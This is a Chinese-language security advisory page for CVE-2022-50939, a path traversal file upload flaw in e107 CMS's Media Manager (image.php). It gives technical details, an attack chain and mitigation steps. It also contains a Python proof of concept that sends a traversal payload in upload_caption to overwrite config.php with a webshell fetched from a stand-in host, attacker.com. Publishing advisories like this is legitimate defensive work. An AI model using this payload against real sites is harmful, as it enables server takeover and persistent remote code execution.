IPBUF安全漏洞报告
English
CVE-2022-50939 CVSS 7.2 高危

CVE-2022-50939 e107 CMS 路径遍历文件上传漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50939
漏洞类型
文件上传漏洞/路径遍历
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
e107 CMS

相关标签

CVE-2022-50939e107 CMS文件上传漏洞路径遍历权限绕过远程代码执行高危漏洞Media Manager

漏洞概述

CVE-2022-50939是e107 CMS 3.2.1版本中的一个严重安全漏洞,位于管理后台的Media Manager组件中。该漏洞允许已认证的管理员通过路径遍历技术覆盖服务器上的任意文件。漏洞根源在于image.php文件中的远程URL上传功能对upload_caption参数缺乏有效的安全校验,攻击者可利用"../../../"等目录遍历序列将恶意文件写入预期上传目录之外的系统关键位置。成功利用此漏洞可导致Web应用完全沦陷,攻击者能够覆写配置文件(如config.php)、可执行脚本或其他系统关键组件,从而实现远程代码执行。由于该漏洞需要管理员权限才能利用,因此主要威胁对象为内部人员或已被攻击者通过其他手段获取高权限账户的e107站点。

技术细节

该漏洞存在于e107 CMS 3.2.1的Media Manager模块的image.php文件中,具体位于远程URL上传功能。当管理员使用该功能上传图片时,系统会将用户提供的upload_caption参数值直接用于构建文件保存路径,而未对参数值进行充分的路径规范化或安全校验。攻击者可以在upload_caption字段中注入目录遍历序列(如../../../../../../),配合精心构造的文件名(如config.php),使上传的文件被写入Web根目录或其他敏感位置。攻击者利用此漏洞可以覆盖.htaccess、config.php等关键配置文件,或者植入webshell以实现持久化访问和远程代码执行。由于upload_caption参数直接参与文件路径构建且缺乏输入过滤,任何包含路径遍历字符的输入都会被文件系统直接接受。

攻击链分析

STEP 1
步骤1
攻击者获取e107 CMS管理员账户凭据(通过钓鱼、暴力破解或其他手段)
STEP 2
步骤2
登录管理后台,访问Media Manager的image.php远程URL上传功能
STEP 3
步骤3
在upload_caption参数中注入目录遍历载荷,如../../../e107_files/config.php
STEP 4
步骤4
提供远程服务器上的恶意文件URL(指向webshell或恶意脚本)
STEP 5
步骤5
服务器将恶意文件下载并写入通过upload_caption指定的路径(config.php)
STEP 6
步骤6
攻击者访问被覆写的配置文件或webshell,实现远程代码执行或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2022-50939 PoC - e107 CMS Path Traversal File Upload # Target: e107 CMS <= 3.2.1 # Component: image.php Media Manager Remote URL Upload TARGET_URL = "http://target.com/e107_admin/image.php" LOGIN_URL = "http://target.com/e107_admin/admin.php" USERNAME = "admin" PASSWORD = "admin123" def exploit(): """ Authenticate and exploit path traversal in upload_caption parameter to overwrite arbitrary files on the server. """ session = requests.Session() # Step 1: Login to e107 CMS admin panel login_data = { "username": USERNAME, "password": PASSWORD, "authname": "admin", "userlogin": "in" } login_resp = session.post(LOGIN_URL, data=login_data) if "e107.admin" not in login_resp.url: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit path traversal via upload_caption parameter # Target: ../../../e107_files/config.php exploit_data = { "upload_caption": "../../../../e107_files/config.php", "file_url": "http://attacker.com/shell.php", "upload": "Upload" } # Note: Actual request requires proper CSRF token and session cookies # The upload_caption parameter allows path traversal to overwrite files exploit_resp = session.post(TARGET_URL, data=exploit_data) if exploit_resp.status_code == 200: print("[+] Exploit sent - check if config.php was overwritten") return True if __name__ == "__main__": exploit()

影响范围

e107 CMS <= 3.2.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用Media Manager的远程URL上传功能;2) 对image.php设置访问限制,仅允许受信任的IP访问管理后台;3) 监控Web服务器日志,关注异常的upload_caption参数值和文件写入行为;4) 将e107_files等上传目录设置为Web不可访问,防止已上传的恶意文件被执行;5) 启用Web应用防火墙规则检测和阻断路径遍历攻击载荷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表